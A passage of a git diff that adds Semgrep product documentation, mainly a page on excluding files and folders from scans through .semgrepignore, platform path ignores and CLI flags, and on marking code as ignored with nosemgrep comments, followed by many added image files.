+ Open up your IDE's AI chat window.
+
+
+ Ensure that you're in the correct context to use Semgrep.
+
+
+ Prompt your IDE to scan with Semgrep.
+
+
+
+By default, the Semgrep Guardian runs all three Semgrep products: Code, Supply Chain, and Secrets.
+
+## Additional resources
+
+* Semgrep's `#mcp` [Slack community](https://go.semgrep.dev/slack)
+* The [Semgrep MCP server repo on GitHub](https://github.com/semgrep/semgrep/tree/develop/cli/src/semgrep/mcp)
diff --git a/mintlify-docs/ignoring-files-folders-code.mdx b/mintlify-docs/ignoring-files-folders-code.mdx
new file mode 100644
index 0000000000..3098a8c663
--- /dev/null
+++ b/mintlify-docs/ignoring-files-folders-code.mdx
@@ -0,0 +1,334 @@
+---
+title: "Ignore files, folders, and code"
+sidebarTitle: "Semgrep Code"
+---
+
+This document describes two types of ignore operations:
+
+* **Ignoring as exclusion.** Exclude or skip specific **files and folders** from the scope of Semgrep scans in your repository or working directory. Ignoring in this context means that Semgrep does not generate findings for the ignored files and folders.
+* **Ignoring as triage action**. Ignore specific parts of code that would have generated a finding. Ignoring in this context means that Semgrep generates a finding record and automatically triages it as **Ignored**, a triage state.
+
+All Semgrep environments (CLI, CI, and Semgrep AppSec Platform) adhere to user-defined or Semgrep-defined ignore patterns.
+
+## Reference summary
+
+| Method | Usage |
+|:--------|:---------|
+| To ignore blocks of code: Add a `nosemgrep` annotation | Create a comment, followed by `nosemgrep`, at the first line or preceding line of the pattern match. This generates a finding that is automatically ignored.
Ignore files and folders through a `.semgrepignore` file | Create a `.semgrepignore` file in your **repository's root directory** or your **project's working directory** and add patterns for files and folders there. Patterns follow `.gitignore` syntax with some caveats. See [Defining ignored files and folders in `.semgrepignore`](#define-ignored-files-and-folders-in-semgrepignore). | [`.semgrepignore` sample file](https://raw.githubusercontent.com/semgrep/semgrep/develop/cli/src/semgrep/templates/.semgrepignore) |
+
+## Understand Semgrep defaults
+
+Without user customization, Semgrep refers to the following to define ignored files and folders:
+
+* Semgrep's default `.semgrepignore` file
+* Your repository's `.gitignore` file (if it exists)
+* For Semgrep AppSec Platform users: each project (repository or subfolder in monorepo) in Semgrep has a list of ignored files and folders in its project details page.
+
+In the absence of a user-generated `.semgrepignore`, Semgrep refers to [its repository's default template](https://github.com/semgrep/semgrep/blob/develop/cli/src/semgrep/templates/.semgrepignore):
+
+```text
+# Administrative folder or file used by popular version control systems
+.git
+.svn
+.hg
+_darcs
+CVS
+
+# Paths to files and folders that are typically large and ignorable
+build/
+vendor/
+dist/
+*.min.js
+.env/
+.tox/
+
+# Package managers
+node_modules/
+.npm/
+.yarn/
+.venv/
+_opam/
+_build/
+_cargo/
+# Note that PHP composer uses vendor/ and C++ conan uses build/
+# .venv is used both by Go and Python.
+
+# Common test paths
+test/
+tests/
+testsuite/
+*_test.go
+
+```
+
+
+## Override defaults
+
+The default `.semgrepignore` file causes Semgrep to skip these folders:
+
+* `/tests`, `/test`
+* `/vendors`
+
+To include these folders:
+
+
+
+Create a `.semgrepignore` file at the repository root without those paths.
+
+
+For Platform users: remove the folders from the project ignore list in **Projects >** ***PROJECT_NAME*** **> Details page > Settings > Path ignores > Code (SAST) & Supply Chain (SCA)**.
+
+
+
+
+## Files, folders, and code beyond Semgrep's scope
+
+There are files that Semgrep ignores even without `.semgrepignore`:
+
+* Large files (maximum file size defaults to 1 MB)
+* Binary files
+* Unknown file extensions (file extensions not matched with any supported programming language)
+
+Large files and unknown file extensions are included or excluded through command line flags (See [CLI reference](/cli-reference)). Binary files are never scanned.
+
+This document defines **files, folders and code** as those that are **relevant to a Semgrep scan**. For example, `.jpg` files are not a part of Semgrep's scope and therefore are not part of the scope of this document.
+
+## Customize ignore behavior
+
+Semgrep provides several methods to customize ignore behavior. Refer to the following table to see which method suits your goal:
+
+| Goal | Method |
+|:---- |:------ |
+| To ignore custom files and folders each time you run a Code or Supply Chain scan. | Add these files to your `.semgrepignore` file or [define them through Semgrep AppSec Platform](#define-ignored-files-and-folders-in-semgrep-appsec-platform).|
+| To ignore specific code blocks each time you run a scan. | Create a comment with the word `nosemgrep`. |
+| To ignore files or folders for a particular scan. | Run Semgrep with the flag `--exclude` followed by the pattern or file to be excluded. See [CLI reference](/cli-reference). |
+| To include files or folders for a particular scan. | Run Semgrep with the flag `--include` followed by the pattern or file to be included. Any file that isn't matched is excluded. See CLI reference. When including a pattern from a `.gitignore` or `.semgrepignore` file, `--include` does not override either, resulting in the file's exclusion. |
+| To scan all files within Semgrep's scope each time you run Semgrep (only files in `.git` are ignored). | Create an empty `.semgrepignore` file in your repository root directory, and for `semgrep ci` scans, [remove any entries listed in your **Path Ignores** list](#define-ignored-files-and-folders-in-semgrep-appsec-platform) in Semgrep AppSec Platform. |
+| To include files or folders defined within a `.gitignore` for a particular scan. | Run Semgrep with the flag `--no-git-ignore`. |
+| To ignore files or folders for a particular rule. | Edit the rule to set the `paths` key with one or more patterns. See [Rule syntax](/writing-rules/rule-syntax#paths). |
+
+## Define ignored files and folders in `.semgrepignore`
+
+Configure a `.semgrepignore` file to ignore files and folders each time you run a Code or Supply Chain scan.
+
+
+**CAUTION**
+
+For Secrets scans, Semgrep ignores both the default and user-defined `.semgrepignore` files. You can still configure secrets-specific ignores in [Semgrep AppSec Platform](#define-ignored-files-and-folders-in-semgrep-appsec-platform) or use the `--exclude` flag to ignore files or folders for a particular scan.
+
+
+`.semgrepignore` syntax mirrors `.gitignore` syntax, with the following modifications:
+
+* "Character range" patterns (lines including a collection of characters inside brackets) are unsupported.
+* An `:include ...` directive is added, which allows another file to be included in the ignore pattern list; typically this included file would be the project `.gitignore`. No attempt at cycle detection is made.
+* Any line that begins with a colon, but not `:include`, raises an error.
+* `\:` is added to escape leading colons.
+
+Unsupported patterns are silently removed from the pattern list (this is done so that `.gitignore` files may be included without raising errors). The removal is logged.
+
+For a description of `.gitignore` syntax, see [.gitignore documentation](https://git-scm.com/gitignore).
+
+## Define ignored files and folders in Semgrep AppSec Platform
+
+Another method for users to define ignore patterns is through Semgrep AppSec Platform. These patterns follow the same syntax as `.semgrepignore` in the preceding section. You can either define patterns at the individual-project level or at the organization level, so they're applied to all projects owned by that organization.
+
+Ignoring files and folders through this method is **additive**.
+
+Adding items to Semgrep AppSec Platform's **Path Ignores** box **doesn't** override default Semgrep ignore patterns included with its CLI tool, since the patterns are additive. To override a Semgrep default, both an existing local `.semgrepignore` file and the **Path ignores** box must be configured. See [Override defaults](#override-defaults).
+
+All files and folders defined using Semgrep AppSec Platform's **Path Ignores** feature, both for a specific project and globally, are additive.
+
+
+**TIP**
+
+This method is utilized by the `semgrep ci` command. For `semgrep scan`, you can only define ignored files and folders through `.semgrepignore`.
+
+
+### Define files and folders for a specific project
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+From the sidebar, click **[Projects](https://semgrep.dev/orgs/-/projects)**.
+
+
+Find the project you want to modify, then click its ** icon** under **Details**.
+
+
+Click the **Settings** tab.
+
+
+To define files and folders that Semgrep can ignore:
+
+ i. Click **Code (SAST) & Supply Chain (SCA)** or **Secrets** to expand and display the **Path Ignores** box.
+
+ ii. Enter files and folders to ignore in the relevant **Path Ignores** box.
+
+ iii. Click **Save changes**.
+
+
+
+### Define files and folders for all projects of an organization
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Click **Settings**. This takes you to the **General > Global** settings tab.
+
+
+Enter files and folders to ignore in the **Ignore paths** box for the product to which the changes should apply.
+
+
+Click **Save changes**.
+
+
+
+### Add items to `.semgrepignore` during findings triage
+
+You can also add files to `.semgrepignore` while triaging individual findings using Semgrep AppSec Platform:
+
+
+
+On the Semgrep Code [Findings](https://semgrep.dev/orgs/-/findings?tab=open) page, click the **Status** filter, and then select the **Open** status to see all open findings.
+
+
+Click the finding you want ignored to open its **Details** page.
+
+
+Select **Ignored**, and optionally, select an **Ignore reason**.
+
+
+Click to expand **Ignore files in future scans...**.
+
+
+Select the files you want ignored in future scans.
+
+
+Click **Change status** to save.
+
+
+
+## Ignore code through nosemgrep
+
+To ignore blocks of code, define an **inline comment**, followed by the word `nosemgrep`, at either the **first line** or **the line preceding** the potential match. Semgrep ignores all rule pattern matches. This functionality works across all supported languages.
+
+
+**CAUTION**
+
+Ignoring code through this method still generates a finding. The finding is automatically set to the **Ignored** triage state.
+
+
+`nosemgrep` in Python:
+
+```python
+
+bad_func1() # nosemgrep
+
+# nosemgrep
+bad_func2()
+
+```
+
+`nosemgrep` in JavaScript:
+
+```javascript
+
+// nosemgrep
+bad_func1()
+
+bad_func2(); // nosemgrep
+
+bad_func3( // nosemgrep
+ arg
+);
+
+```
+
+
+To ignore blocks of code for a **particular rule**, enter its `rule-id` as follows: `nosemgrep: RULE_ID`. To ignore **multiple rules**, use a comma-delimited list. `rule-ids` must be referenced with their namespace.
+
+Python examples:
+
+```python
+
+bad_func1() # nosemgrep: rule-id-1
+
+# nosemgrep: rule-id-1, rule-id-2
+bad_func2()
+
+```
+
+JavaScript examples wherein rules are stored in a `configs` subdirectory:
+
+```javascript
+
+// nosemgrep: configs.rule-id-3
+bad_func1()
+
+bad_func2(); // nosemgrep: configs.rule-id-3
+
+bad_func3( // nosemgrep: configs.rule-id-3, configs.rule-id-4
+ arg
+);
+
+```
+
+
+**NOTE**
+
+Previous annotations for ignoring code inline, such as `nosem`, are deprecated.
+
+
+## Disable rules on Semgrep AppSec Platform
+
+Semgrep AppSec Platform users can disable rules and rulesets through the Policies page. See [Disable rules](/semgrep-code/policies#disable-rules) and [Disable rulesets](/semgrep-code/triage-remediation/#disable-a-ruleset-or-a-rule).
+
+## Ignore findings
+
+**Ignoring** can also be a triage action. In this case, the code is scanned rather than excluded, and if a pattern match occurs, a finding record is generated that you can then triage as **Ignored**. See [Triage and remediate Semgrep Code findings in Semgrep AppSec Platform](/semgrep-code/triage-remediation/#ignore-findings) to learn how to:
+
+
+
+
+
+
+## Troubleshooting
+
+### Tips to prevent unexpected ignore behavior
+
+
+**TIP**
+
+This section focuses on ignoring as excluding or skipping files, not as a triage action.
+
+
+Because Semgrep ignore logic is configured at the file, repository, and platform level, you may sometimes encounter unexpected behavior.
+
+- If possible, only create a custom, user-defined `.semgrepignore` file if you are **overriding** Semgrep defaults. This means defining all other items to ignore through the global or project path ignores.
+ - This method works well if your organization primarily scans using the `semgrep ci` command.
+- Be aware that creating a user-defined `.semgrepignore` file enables developers to edit it.
+- Include the `.semgrepignore` file in Git tracking to keep a log of changes and ensure it's applied consistently.
+- To **include** a file or folder for scanning, ensure it's not in any of the following places:
+ - Global path ignores
+ - Project path ignores
+ - User-defined `.semgrepignore`
+ - Semgrep defaults (implicit) `.semgrepignore`
+
+### `SAST_EXCLUDED_PATHS`
+
+**For GitLab users**: if you use [the `SAST_EXCLUDED_PATHS` variable](https://docs.gitlab.com/ee/user/application_security/sast/#vulnerability-filters) to specify paths excluded from analysis, you may find that Semgrep doesn't honor these items. This is due to default Semgrep behavior. To explicitly exclude files, you must do one of the following steps:
+
+
+
+Create a `.semgrepignore` file that lists the files you want excluded.
+
+
+[Update the **Path Ignores** box](#define-ignored-files-and-folders-in-semgrep-appsec-platform) in Semgrep AppSec Platform.
+
+
diff --git a/mintlify-docs/images/access-diagram-038e7132f085cf2adbc652f67ad56477.png b/mintlify-docs/images/access-diagram-038e7132f085cf2adbc652f67ad56477.png
new file mode 100644
index 0000000000..8dba8088d7
Binary files /dev/null and b/mintlify-docs/images/access-diagram-038e7132f085cf2adbc652f67ad56477.png differ
diff --git a/mintlify-docs/images/actions-tab.png b/mintlify-docs/images/actions-tab.png
new file mode 100644
index 0000000000..d7e17090c7
Binary files /dev/null and b/mintlify-docs/images/actions-tab.png differ
diff --git a/mintlify-docs/images/ado-add-status-policy-5c20588b6ec763758c00bf97fe67c5c0.png b/mintlify-docs/images/ado-add-status-policy-5c20588b6ec763758c00bf97fe67c5c0.png
new file mode 100644
index 0000000000..bc7506d3f6
Binary files /dev/null and b/mintlify-docs/images/ado-add-status-policy-5c20588b6ec763758c00bf97fe67c5c0.png differ
diff --git a/mintlify-docs/images/ado-status-checks-ccb36f40dfe28484c85cd7b9944e1b53.png b/mintlify-docs/images/ado-status-checks-ccb36f40dfe28484c85cd7b9944e1b53.png
new file mode 100644
index 0000000000..ea10853697
Binary files /dev/null and b/mintlify-docs/images/ado-status-checks-ccb36f40dfe28484c85cd7b9944e1b53.png differ
diff --git a/mintlify-docs/images/ado-status-checks-setup-7b2a3ba57922077d629fca96080ad7a7.png b/mintlify-docs/images/ado-status-checks-setup-7b2a3ba57922077d629fca96080ad7a7.png
new file mode 100644
index 0000000000..34aa13bed2
Binary files /dev/null and b/mintlify-docs/images/ado-status-checks-setup-7b2a3ba57922077d629fca96080ad7a7.png differ
diff --git a/mintlify-docs/images/advisories-date-created-2884a1e067259d7f43beb936c1e2225d.png b/mintlify-docs/images/advisories-date-created-2884a1e067259d7f43beb936c1e2225d.png
new file mode 100644
index 0000000000..43aec21fb1
Binary files /dev/null and b/mintlify-docs/images/advisories-date-created-2884a1e067259d7f43beb936c1e2225d.png differ
diff --git a/mintlify-docs/images/ai-assessment-tp-fp-05bcf0049a441a1a4c8a1c905ae190d6.png b/mintlify-docs/images/ai-assessment-tp-fp-05bcf0049a441a1a4c8a1c905ae190d6.png
new file mode 100644
index 0000000000..289b5587ef
Binary files /dev/null and b/mintlify-docs/images/ai-assessment-tp-fp-05bcf0049a441a1a4c8a1c905ae190d6.png differ
diff --git a/mintlify-docs/images/ai-generate-rule-bd9760367c20642be34cd2604998a001.png b/mintlify-docs/images/ai-generate-rule-bd9760367c20642be34cd2604998a001.png
new file mode 100644
index 0000000000..de1ee31cc2
Binary files /dev/null and b/mintlify-docs/images/ai-generate-rule-bd9760367c20642be34cd2604998a001.png differ
diff --git a/mintlify-docs/images/appsecplatform-intro-af4e86f3bc2a3e22dc5ac7bf89056813.png b/mintlify-docs/images/appsecplatform-intro-af4e86f3bc2a3e22dc5ac7bf89056813.png
new file mode 100644
index 0000000000..64c80f99dd
Binary files /dev/null and b/mintlify-docs/images/appsecplatform-intro-af4e86f3bc2a3e22dc5ac7bf89056813.png differ
diff --git a/mintlify-docs/images/assistant-component-tags-644723bf4fd6f07a6951b9f3182e4e6a.png b/mintlify-docs/images/assistant-component-tags-644723bf4fd6f07a6951b9f3182e4e6a.png
new file mode 100644
index 0000000000..b26d90e524
Binary files /dev/null and b/mintlify-docs/images/assistant-component-tags-644723bf4fd6f07a6951b9f3182e4e6a.png differ
diff --git a/mintlify-docs/images/azure-pr-comment-ebdcf42270b5aab7a9237854d9cdeecd.png b/mintlify-docs/images/azure-pr-comment-ebdcf42270b5aab7a9237854d9cdeecd.png
new file mode 100644
index 0000000000..68925cd3c4
Binary files /dev/null and b/mintlify-docs/images/azure-pr-comment-ebdcf42270b5aab7a9237854d9cdeecd.png differ
diff --git a/mintlify-docs/images/bb-pr-comment-6ed61530437b8441a31704773bc1a07d.png b/mintlify-docs/images/bb-pr-comment-6ed61530437b8441a31704773bc1a07d.png
new file mode 100644
index 0000000000..63a984216e
Binary files /dev/null and b/mintlify-docs/images/bb-pr-comment-6ed61530437b8441a31704773bc1a07d.png differ
diff --git a/mintlify-docs/images/bbdc-pr-comments-1fa3d65c7ccd0b732f583ed20bde9562.png b/mintlify-docs/images/bbdc-pr-comments-1fa3d65c7ccd0b732f583ed20bde9562.png
new file mode 100644
index 0000000000..f63df88359
Binary files /dev/null and b/mintlify-docs/images/bbdc-pr-comments-1fa3d65c7ccd0b732f583ed20bde9562.png differ
diff --git a/mintlify-docs/images/cheat-sheets-xxe-java-infographics-1d1d5016802e3ab8f0886b62b8c81f21.png b/mintlify-docs/images/cheat-sheets-xxe-java-infographics-1d1d5016802e3ab8f0886b62b8c81f21.png
new file mode 100644
index 0000000000..c84cc9d9d9
Binary files /dev/null and b/mintlify-docs/images/cheat-sheets-xxe-java-infographics-1d1d5016802e3ab8f0886b62b8c81f21.png differ
diff --git a/mintlify-docs/images/cloud-platform-finding-details-470eb375fa9662eb329509ead2e22977.png b/mintlify-docs/images/cloud-platform-finding-details-470eb375fa9662eb329509ead2e22977.png
new file mode 100644
index 0000000000..742258f4ef
Binary files /dev/null and b/mintlify-docs/images/cloud-platform-finding-details-470eb375fa9662eb329509ead2e22977.png differ
diff --git a/mintlify-docs/images/comment-with-ai-fix-86248efcb10ba15ea007ba8bbc506675.png b/mintlify-docs/images/comment-with-ai-fix-86248efcb10ba15ea007ba8bbc506675.png
new file mode 100644
index 0000000000..a57d10ca47
Binary files /dev/null and b/mintlify-docs/images/comment-with-ai-fix-86248efcb10ba15ea007ba8bbc506675.png differ
diff --git a/mintlify-docs/images/core-deployment-7c163d2788754757edf2b150a5fff4e6.png b/mintlify-docs/images/core-deployment-7c163d2788754757edf2b150a5fff4e6.png
new file mode 100644
index 0000000000..194bf49177
Binary files /dev/null and b/mintlify-docs/images/core-deployment-7c163d2788754757edf2b150a5fff4e6.png differ
diff --git a/mintlify-docs/images/custom-comment-example-321bc2c6e1a23f0cb8046480bbc82007.png b/mintlify-docs/images/custom-comment-example-321bc2c6e1a23f0cb8046480bbc82007.png
new file mode 100644
index 0000000000..d047777b98
Binary files /dev/null and b/mintlify-docs/images/custom-comment-example-321bc2c6e1a23f0cb8046480bbc82007.png differ
diff --git a/mintlify-docs/images/custom-comments-configuration-0d412b3a937594106e9835084964667b.png b/mintlify-docs/images/custom-comments-configuration-0d412b3a937594106e9835084964667b.png
new file mode 100644
index 0000000000..40658bb7bd
Binary files /dev/null and b/mintlify-docs/images/custom-comments-configuration-0d412b3a937594106e9835084964667b.png differ
diff --git a/mintlify-docs/images/dashboard-fold-7f2735e908dece2f15107ff7352053a2.png b/mintlify-docs/images/dashboard-fold-7f2735e908dece2f15107ff7352053a2.png
new file mode 100644
index 0000000000..9bff5d1da6
Binary files /dev/null and b/mintlify-docs/images/dashboard-fold-7f2735e908dece2f15107ff7352053a2.png differ
diff --git a/mintlify-docs/images/dataflow-graph-comment-ab14b5c2e56fdb5d5ec3b549e4a19b41 (1).png b/mintlify-docs/images/dataflow-graph-comment-ab14b5c2e56fdb5d5ec3b549e4a19b41 (1).png
new file mode 100644
index 0000000000..6c2bab8354
Binary files /dev/null and b/mintlify-docs/images/dataflow-graph-comment-ab14b5c2e56fdb5d5ec3b549e4a19b41 (1).png differ
diff --git a/mintlify-docs/images/dataflow-graph-comment-ab14b5c2e56fdb5d5ec3b549e4a19b41.png b/mintlify-docs/images/dataflow-graph-comment-ab14b5c2e56fdb5d5ec3b549e4a19b41.png
new file mode 100644
index 0000000000..6c2bab8354
Binary files /dev/null and b/mintlify-docs/images/dataflow-graph-comment-ab14b5c2e56fdb5d5ec3b549e4a19b41.png differ
diff --git a/mintlify-docs/images/editor-SHA1-f41a776780370d556b5683e6493d98c6.png b/mintlify-docs/images/editor-SHA1-f41a776780370d556b5683e6493d98c6.png
new file mode 100644
index 0000000000..ca9b46be07
Binary files /dev/null and b/mintlify-docs/images/editor-SHA1-f41a776780370d556b5683e6493d98c6.png differ
diff --git a/mintlify-docs/images/editor-forking-50fbce13ac8a483d7dbe1861228fb5f0.png b/mintlify-docs/images/editor-forking-50fbce13ac8a483d7dbe1861228fb5f0.png
new file mode 100644
index 0000000000..ba0b0b38ea
Binary files /dev/null and b/mintlify-docs/images/editor-forking-50fbce13ac8a483d7dbe1861228fb5f0.png differ
diff --git a/mintlify-docs/images/fail-open-config-ccc1c4b81d5710e419b725b1a1d193e0.png b/mintlify-docs/images/fail-open-config-ccc1c4b81d5710e419b725b1a1d193e0.png
new file mode 100644
index 0000000000..76da271f76
Binary files /dev/null and b/mintlify-docs/images/fail-open-config-ccc1c4b81d5710e419b725b1a1d193e0.png differ
diff --git a/mintlify-docs/images/figure.png b/mintlify-docs/images/figure.png
new file mode 100644
index 0000000000..194bf49177
Binary files /dev/null and b/mintlify-docs/images/figure.png differ
diff --git a/mintlify-docs/images/finding-by-resolution-c8961515c00fdf29a3a36ecf82242f5d.jpg b/mintlify-docs/images/finding-by-resolution-c8961515c00fdf29a3a36ecf82242f5d.jpg
new file mode 100644
index 0000000000..24c77a337d
Binary files /dev/null and b/mintlify-docs/images/finding-by-resolution-c8961515c00fdf29a3a36ecf82242f5d.jpg differ
diff --git a/mintlify-docs/images/gh-app-permissions-all-5fcf0e61e73389b97bae3ab2e1287389.png b/mintlify-docs/images/gh-app-permissions-all-5fcf0e61e73389b97bae3ab2e1287389.png
new file mode 100644
index 0000000000..edd77f10ff
Binary files /dev/null and b/mintlify-docs/images/gh-app-permissions-all-5fcf0e61e73389b97bae3ab2e1287389.png differ
diff --git a/mintlify-docs/images/gh-app-permissions-select-7175bdd38e911f0347285647ecd13530.png b/mintlify-docs/images/gh-app-permissions-select-7175bdd38e911f0347285647ecd13530.png
new file mode 100644
index 0000000000..4d1e258f05
Binary files /dev/null and b/mintlify-docs/images/gh-app-permissions-select-7175bdd38e911f0347285647ecd13530.png differ
diff --git a/mintlify-docs/images/gh-pr-comment-3d082f759ace16015483caf892ed6bb2.png b/mintlify-docs/images/gh-pr-comment-3d082f759ace16015483caf892ed6bb2.png
new file mode 100644
index 0000000000..22b91f583b
Binary files /dev/null and b/mintlify-docs/images/gh-pr-comment-3d082f759ace16015483caf892ed6bb2.png differ
diff --git a/mintlify-docs/images/ghe-10-b108fbec17da29321cdaf8b2141e625d.png b/mintlify-docs/images/ghe-10-b108fbec17da29321cdaf8b2141e625d.png
new file mode 100644
index 0000000000..37609c9e16
Binary files /dev/null and b/mintlify-docs/images/ghe-10-b108fbec17da29321cdaf8b2141e625d.png differ
diff --git a/mintlify-docs/images/ghe-11-7886f9cda872941a6168734de5d98115.png b/mintlify-docs/images/ghe-11-7886f9cda872941a6168734de5d98115.png
new file mode 100644
index 0000000000..e5c5f35ef1
Binary files /dev/null and b/mintlify-docs/images/ghe-11-7886f9cda872941a6168734de5d98115.png differ
diff --git a/mintlify-docs/images/ghe-12-93385476be689b84117756f9f5f08a46.png b/mintlify-docs/images/ghe-12-93385476be689b84117756f9f5f08a46.png
new file mode 100644
index 0000000000..1aebfae4a9
Binary files /dev/null and b/mintlify-docs/images/ghe-12-93385476be689b84117756f9f5f08a46.png differ
diff --git a/mintlify-docs/images/ghe-13-b946c5e48935bfe8265a6f7720b5a748.png b/mintlify-docs/images/ghe-13-b946c5e48935bfe8265a6f7720b5a748.png
new file mode 100644
index 0000000000..209a33a9db
Binary files /dev/null and b/mintlify-docs/images/ghe-13-b946c5e48935bfe8265a6f7720b5a748.png differ
diff --git a/mintlify-docs/images/ghe-14-a39feb416a34d2da6cab74cf02df9213.png b/mintlify-docs/images/ghe-14-a39feb416a34d2da6cab74cf02df9213.png
new file mode 100644
index 0000000000..e86b47c955
Binary files /dev/null and b/mintlify-docs/images/ghe-14-a39feb416a34d2da6cab74cf02df9213.png differ
diff --git a/mintlify-docs/images/ghe-9-0f05ee3bc7f1ef7c1c1e41da3d20c2c2.png b/mintlify-docs/images/ghe-9-0f05ee3bc7f1ef7c1c1e41da3d20c2c2.png
new file mode 100644
index 0000000000..01a004b971
Binary files /dev/null and b/mintlify-docs/images/ghe-9-0f05ee3bc7f1ef7c1c1e41da3d20c2c2.png differ
diff --git a/mintlify-docs/images/github-workflows-disabled-622defd251c75cc370d12efad276b4a7.png b/mintlify-docs/images/github-workflows-disabled-622defd251c75cc370d12efad276b4a7.png
new file mode 100644
index 0000000000..c35c0276e7
Binary files /dev/null and b/mintlify-docs/images/github-workflows-disabled-622defd251c75cc370d12efad276b4a7.png differ
diff --git a/mintlify-docs/images/gl-mr-comment-bec9b6b30d58b50dbc385a6958ee6385.png b/mintlify-docs/images/gl-mr-comment-bec9b6b30d58b50dbc385a6958ee6385.png
new file mode 100644
index 0000000000..755adbcb81
Binary files /dev/null and b/mintlify-docs/images/gl-mr-comment-bec9b6b30d58b50dbc385a6958ee6385.png differ
diff --git a/mintlify-docs/images/guardrail.png b/mintlify-docs/images/guardrail.png
new file mode 100644
index 0000000000..fc383dc63b
Binary files /dev/null and b/mintlify-docs/images/guardrail.png differ
diff --git a/mintlify-docs/images/guardrail3.jpg b/mintlify-docs/images/guardrail3.jpg
new file mode 100644
index 0000000000..24c77a337d
Binary files /dev/null and b/mintlify-docs/images/guardrail3.jpg differ
diff --git a/mintlify-docs/images/guardrails-comment-step-by-step-604332ef3b7bb64d2911ca032dd03faf.png b/mintlify-docs/images/guardrails-comment-step-by-step-604332ef3b7bb64d2911ca032dd03faf.png
new file mode 100644
index 0000000000..d3c3bfa867
Binary files /dev/null and b/mintlify-docs/images/guardrails-comment-step-by-step-604332ef3b7bb64d2911ca032dd03faf.png differ
diff --git a/mintlify-docs/images/guardrails-content-interface-85836b33f4cebfe227b0d1a4067ecfc9.png b/mintlify-docs/images/guardrails-content-interface-85836b33f4cebfe227b0d1a4067ecfc9.png
new file mode 100644
index 0000000000..6d39fca68f
Binary files /dev/null and b/mintlify-docs/images/guardrails-content-interface-85836b33f4cebfe227b0d1a4067ecfc9.png differ
diff --git a/mintlify-docs/images/guardrails-ide-fix-a48ec5fc48f79f390800a894a497ef1a.png b/mintlify-docs/images/guardrails-ide-fix-a48ec5fc48f79f390800a894a497ef1a.png
new file mode 100644
index 0000000000..15858979f8
Binary files /dev/null and b/mintlify-docs/images/guardrails-ide-fix-a48ec5fc48f79f390800a894a497ef1a.png differ
diff --git a/mintlify-docs/images/guardrails-ide-quickfix-ae94ede76d92264ef4f34b0183210f53.png b/mintlify-docs/images/guardrails-ide-quickfix-ae94ede76d92264ef4f34b0183210f53.png
new file mode 100644
index 0000000000..bfac890c31
Binary files /dev/null and b/mintlify-docs/images/guardrails-ide-quickfix-ae94ede76d92264ef4f34b0183210f53.png differ
diff --git a/mintlify-docs/images/guardrails-secrets-6de067ec145b8ea5923866fc64c7e0f0.png b/mintlify-docs/images/guardrails-secrets-6de067ec145b8ea5923866fc64c7e0f0.png
new file mode 100644
index 0000000000..fc383dc63b
Binary files /dev/null and b/mintlify-docs/images/guardrails-secrets-6de067ec145b8ea5923866fc64c7e0f0.png differ
diff --git a/mintlify-docs/images/guardrails-time-to-fix-monochrome-271a074fa665a09caf51faa7376c7082.png b/mintlify-docs/images/guardrails-time-to-fix-monochrome-271a074fa665a09caf51faa7376c7082.png
new file mode 100644
index 0000000000..c69f9e5253
Binary files /dev/null and b/mintlify-docs/images/guardrails-time-to-fix-monochrome-271a074fa665a09caf51faa7376c7082.png differ
diff --git a/mintlify-docs/images/guardrails2.png b/mintlify-docs/images/guardrails2.png
new file mode 100644
index 0000000000..6c2bab8354
Binary files /dev/null and b/mintlify-docs/images/guardrails2.png differ
diff --git a/mintlify-docs/images/icon-deploy.svg b/mintlify-docs/images/icon-deploy.svg
new file mode 100644
index 0000000000..b55ffc4099
--- /dev/null
+++ b/mintlify-docs/images/icon-deploy.svg
@@ -0,0 +1,14 @@
+
diff --git a/mintlify-docs/images/icon-first-scan.svg b/mintlify-docs/images/icon-first-scan.svg
new file mode 100644
index 0000000000..031a01bd11
--- /dev/null
+++ b/mintlify-docs/images/icon-first-scan.svg
@@ -0,0 +1,14 @@
+
diff --git a/mintlify-docs/images/icon-rules.svg b/mintlify-docs/images/icon-rules.svg
new file mode 100644
index 0000000000..686d978cc2
--- /dev/null
+++ b/mintlify-docs/images/icon-rules.svg
@@ -0,0 +1,14 @@
+
diff --git a/mintlify-docs/images/icon-triage.svg b/mintlify-docs/images/icon-triage.svg
new file mode 100644
index 0000000000..02b9f3936e
--- /dev/null
+++ b/mintlify-docs/images/icon-triage.svg
@@ -0,0 +1,14 @@
+
diff --git a/mintlify-docs/images/integration-defectdojo-example-eea7e6a0d90b83d3924f1420a61943e1.png b/mintlify-docs/images/integration-defectdojo-example-eea7e6a0d90b83d3924f1420a61943e1.png
new file mode 100644
index 0000000000..4fdfac99f6
Binary files /dev/null and b/mintlify-docs/images/integration-defectdojo-example-eea7e6a0d90b83d3924f1420a61943e1.png differ
diff --git a/mintlify-docs/images/integration-defectdojo-gitlab-variables-07e19aed1ab5d4ce03f6cf836c68fb1f.png b/mintlify-docs/images/integration-defectdojo-gitlab-variables-07e19aed1ab5d4ce03f6cf836c68fb1f.png
new file mode 100644
index 0000000000..a18372b60f
Binary files /dev/null and b/mintlify-docs/images/integration-defectdojo-gitlab-variables-07e19aed1ab5d4ce03f6cf836c68fb1f.png differ
diff --git a/mintlify-docs/images/jira-ticket-created-successfully.png b/mintlify-docs/images/jira-ticket-created-successfully.png
new file mode 100644
index 0000000000..bedbd460fa
Binary files /dev/null and b/mintlify-docs/images/jira-ticket-created-successfully.png differ
diff --git a/mintlify-docs/images/jira-ticket-created-unsuccessfully.png b/mintlify-docs/images/jira-ticket-created-unsuccessfully.png
new file mode 100644
index 0000000000..ba08d833c1
Binary files /dev/null and b/mintlify-docs/images/jira-ticket-created-unsuccessfully.png differ
diff --git a/mintlify-docs/images/join-mode-example-4973e0f47741f0d4c628eb668bc8f3ba.png b/mintlify-docs/images/join-mode-example-4973e0f47741f0d4c628eb668bc8f3ba.png
new file mode 100644
index 0000000000..3ed2c94a55
Binary files /dev/null and b/mintlify-docs/images/join-mode-example-4973e0f47741f0d4c628eb668bc8f3ba.png differ
diff --git a/mintlify-docs/images/july2023-newicons-e749d5f857f31935f85e28d3babc7fae.png b/mintlify-docs/images/july2023-newicons-e749d5f857f31935f85e28d3babc7fae.png
new file mode 100644
index 0000000000..a7f0cc24f8
Binary files /dev/null and b/mintlify-docs/images/july2023-newicons-e749d5f857f31935f85e28d3babc7fae.png differ
diff --git a/mintlify-docs/images/kb/integrations/defect-dojo-integration/integration-defectdojo-example.png b/mintlify-docs/images/kb/integrations/defect-dojo-integration/integration-defectdojo-example.png
new file mode 100644
